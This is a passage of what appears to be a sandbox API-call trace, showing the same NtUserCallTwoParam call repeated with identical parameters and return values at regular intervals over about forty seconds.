returned 0x1 [0033.372] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0033.509] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0033.650] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0033.790] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0033.931] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0034.071] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0034.211] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0034.352] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0034.492] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0034.633] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0034.773] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0034.913] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0035.054] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0035.194] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0035.335] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0035.475] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0035.616] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0035.756] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0035.896] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0036.036] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0036.177] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0036.317] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0036.458] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0036.598] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0036.739] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0036.879] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0037.030] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0037.160] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0037.300] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0037.441] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0037.581] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0037.721] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0037.862] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0038.002] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0038.142] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0038.283] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0038.589] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0038.720] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0038.861] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0039.001] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0039.141] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0039.281] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0039.422] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0039.562] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0039.702] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0039.843] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0039.983] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0040.124] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0040.264] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0040.405] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0040.545] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0040.685] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0040.826] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0040.966] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0041.107] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0041.254] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0041.387] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0041.528] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0041.668] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0041.808] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0041.949] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0042.089] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0042.230] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0042.370] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0042.510] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0042.651] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0042.791] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0042.932] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0043.072] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0043.213] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0043.353] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0043.493] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0043.634] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0043.774] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0043.914] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0044.055] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0044.195] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0044.336] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0044.476] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0044.617] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0044.757] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0044.897] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0045.038] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0045.178] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0045.318] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0045.459] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0045.599] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0045.740] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0045.880] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0046.023] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0046.161] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0046.301] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0046.442] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0046.582] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0046.723] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0046.882] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0047.022] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0047.159] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0047.300] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0047.440] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0047.581] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0047.721] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0047.861] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0048.002] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0048.142] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0048.282] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0048.423] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0048.563] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0048.704] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0048.864] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0049.000] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0049.141] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0049.281] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0049.422] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0049.562] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0049.702] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0049.842] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0049.983] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0050.123] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0050.264] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0050.404] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0050.544] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0050.685] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0050.825] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0050.966] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0051.106] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0051.247] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0051.392] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0051.527] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0051.668] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0051.808] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0051.949] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0052.089] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0052.229] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0052.370] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0052.510] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0052.650] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0052.791] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0052.931] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0053.072] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0053.212] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0053.352] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0053.493] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0053.634] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0053.774] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0053.914] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0054.055] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0054.195] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0054.335] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0054.476] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0054.616] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0054.757] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0054.897] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0055.037] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0055.178] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0055.318] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0055.458] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0055.599] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0055.740] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0055.880] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0056.024] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0056.160] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0056.301] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0056.441] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0056.582] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0056.722] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0056.903] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0057.034] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0057.175] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0057.315] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0057.455] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0057.596] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0057.736] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0057.876] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0058.017] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0058.157] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0058.298] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0058.438] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0058.578] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0058.719] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0058.859] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0059.000] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0059.140] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0059.280] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0059.421] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0059.561] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0059.702] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0059.842] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0059.982] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0060.123] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0060.263] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0060.404] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0060.546] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0060.685] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0060.825] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0060.965] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0061.106] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0061.247] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0061.386] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0061.532] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0061.668] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0061.808] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0061.948] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0062.088] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0062.229] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0062.369] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0062.510] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0062.650] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0062.791] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0062.931] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0063.072] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0063.212] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0063.352] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0063.492] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0063.633] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0063.773] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0063.914] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0064.054] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0064.194] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0064.335] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0064.475] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0064.616] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0064.759] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0064.896] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0065.037] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0065.177] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0065.318] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0065.458] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0065.598] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0065.741] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0065.881] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0066.024] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0066.160] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0066.301] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0066.441] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0066.581] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0066.722] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0066.862] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0067.002] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0067.143] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0067.283] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0067.424] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0067.566] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0067.706] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0067.857] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0067.985] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0068.126] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0068.266] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0068.409] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0068.547] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0068.687] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0068.829] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0068.968] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0069.108] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0069.249] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0069.389] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0069.530] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0069.670] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0069.810] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0069.951] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0070.091] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0070.232] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0070.372] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0070.512] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0070.653] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0070.793] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0070.934] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0071.074] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0071.214] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0071.355] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0071.495] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0071.636] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0071.776] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0071.916] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0072.057] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0072.197] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0072.338] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0072.478] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0072.618] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0072.759] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0072.899] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0073.043] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0073.211] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0073.352] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0073.492] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0073.633] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0073.773] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0073.914] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0074.054] 